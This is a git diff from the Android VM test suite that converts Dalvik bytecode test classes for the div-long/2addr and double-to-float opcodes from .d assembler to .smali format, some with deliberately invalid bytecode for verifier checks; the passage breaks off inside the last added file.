diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d
deleted file mode 100644
index 0ae9ff3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_1.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali
new file mode 100644
index 0000000..53b3a26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d
deleted file mode 100644
index f01fcf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_2.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       div-long/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali
new file mode 100644
index 0000000..55e7042
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       div-long/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d
deleted file mode 100644
index 09e48c3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_3.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 1234
-       div-long/2addr v0, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali
new file mode 100644
index 0000000..f516e93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       div-long/2addr v0, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d
deleted file mode 100644
index 6d91919..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_4.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       const v0, 3.14
-       div-long/2addr v0, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali
new file mode 100644
index 0000000..632aaba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_div_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const v0, 0x4048f5c3    # 3.14f
+
+    div-long/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d
deleted file mode 100644
index ed7fdfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_5.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali
new file mode 100644
index 0000000..9f88419
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d
deleted file mode 100644
index 83e2b30..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_6.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali
new file mode 100644
index 0000000..fda833b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d
deleted file mode 100644
index 24b332f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_1.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       double-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali
new file mode 100644
index 0000000..bb32164
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_1.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d
deleted file mode 100644
index 402cfac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_2.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       const v6, 3.14
-       double-to-float v0, v6
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali
new file mode 100644
index 0000000..81f63f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_2;
+.super Ljava/lang/Object;
+.source "T_double_to_float_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)F
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-float v0, p1
+
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d
deleted file mode 100644
index 1cbf6f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_3.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       double-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali
new file mode 100644
index 0000000..3cc945c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_3.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d
deleted file mode 100644
index 135e7ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_4.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       double-to-float v0, v5
-       
-       const v3, 3.14
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali
new file mode 100644
index 0000000..24a4815
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_4;
+.super Ljava/lang/Object;
+.source "T_double_to_float_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)F
+    .registers 8
+
+    double-to-float v0, p0
+
+    const v3, 0x4048f5c3    # 3.14f
+
+    return v3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d
deleted file mode 100644
index 80adf03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_5.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       double-to-float v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali
new file mode 100644
index 0000000..16c1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_5.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d
deleted file mode 100644
index 9c65fb8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_6.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-float v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali
new file mode 100644
index 0000000..e20fb3d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_6.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
